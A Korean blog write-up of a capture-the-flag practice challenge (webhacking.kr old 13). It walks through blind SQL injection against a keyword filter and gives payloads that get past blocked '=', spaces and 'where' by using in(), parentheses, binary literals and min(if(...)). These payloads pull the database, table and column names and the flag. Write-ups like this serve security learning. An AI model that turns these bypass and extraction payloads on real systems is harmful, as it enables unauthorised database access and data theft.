13번 문제에요.
배점은 무려 1000점! 분야는 DB에요.
딱봐도 뭘 해야 할지 알것처럼 생겼네요.
if(true,1,0) 을 넣어보니
출력은 1.
if(false,1,0) 을 넣어보니
출력은 0 이 나오네요.
저기에 2를 넣었을땐 0이 나오는걸 보아 true 이면 1 false 이면 0을 반환하는것 같네요.
그럼 이제 무슨 키워드를 쓸수있는지 찾아보죠.
사용 가능 : select from ( ) ' or in min max length substr 0b ...
사용 불가 : + - * / % = # and like limit where 공백문자 0x ...
이런저런걸 넣어보니 대충 저런것 같네요.
= 와 like 둘다 막혀있으니 in 으로 우회하고 공백문자 는 ( ) 로 우회, 문자는 적당히 2진수로 우회하면 되겠네요!
그럼 먼저 DB의 이름을 뽑아보죠.
길이 : if(length((select(database())))in(0),1,0)
값 : if(substr((select(database())),1,1)in(0b110000),1,0)
DB의 이름은 chall13 이래요.
한결같은 DB명이네요.
그럼 테이블명을 뽑아내보죠.
길이 : if(length((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)))in(0),1,0)
값 : if(substr((select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables)),1,1)in(0b110000),1,0)
limit 와 where 가 필터링되니 min(if((select(table_schema)in('chall13')),table_name,null)) 으로 DB이름이 chall13일때만 table_name를 출력하게 만들고,
출력한 최솟값을 반환하게 우회해줬어요.
????
in('chall13') 부분도 2진수로 바꿔줘야 했던걸까요?
그래서 저부분도 2진수로 바꿔본결과!
flag_ab733768
라네요.
그러면 컬럼의 갯수를 뽑아내야하는데 * 가 막혀버렸으니 흐음...
그냥 min 돌려서 첫번째걸 뽑아볼게요.
어우 길어라
길이 : if(length((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)))in(0),1,0)
값 : if(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),1,1)in(0b110000),1,0)
flag_3a55b31d
혹시나 한개 더있을까 싶어서 min 을 max 로 바꾸고도 돌려보았지만 똑같았네요.
그럼 이제 마지막으로 flag를 뽑아내면 풀리겠네요!
길이 : if(length((select(min(flag_3a55b31d))from(flag_ab733768)))in(0),1,0)
값 : if(substr((select(min(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b110000),1,0)
max로 다시 해보죠.
FLAG{challenge13gummyclear}
이제 저걸 인증에 집어넣으면????
빠밤!
문제가 풀렸네요.
'연구글 > webhacking.kr' 카테고리의 다른 글
webhacking.kr Challenge(old) 15 / JavaScript (0) | 2020.08.21 |
---|---|
webhacking.kr Challenge(old) 14 / JavaScript (0) | 2020.08.21 |
webhacking.kr Challenge(old) 12 / Computing (0) | 2020.08.21 |
webhacking.kr Challenge(old) 11 / Computing (0) | 2020.08.21 |
webhacking.kr Challenge(old) 10 / Computing (0) | 2020.08.21 |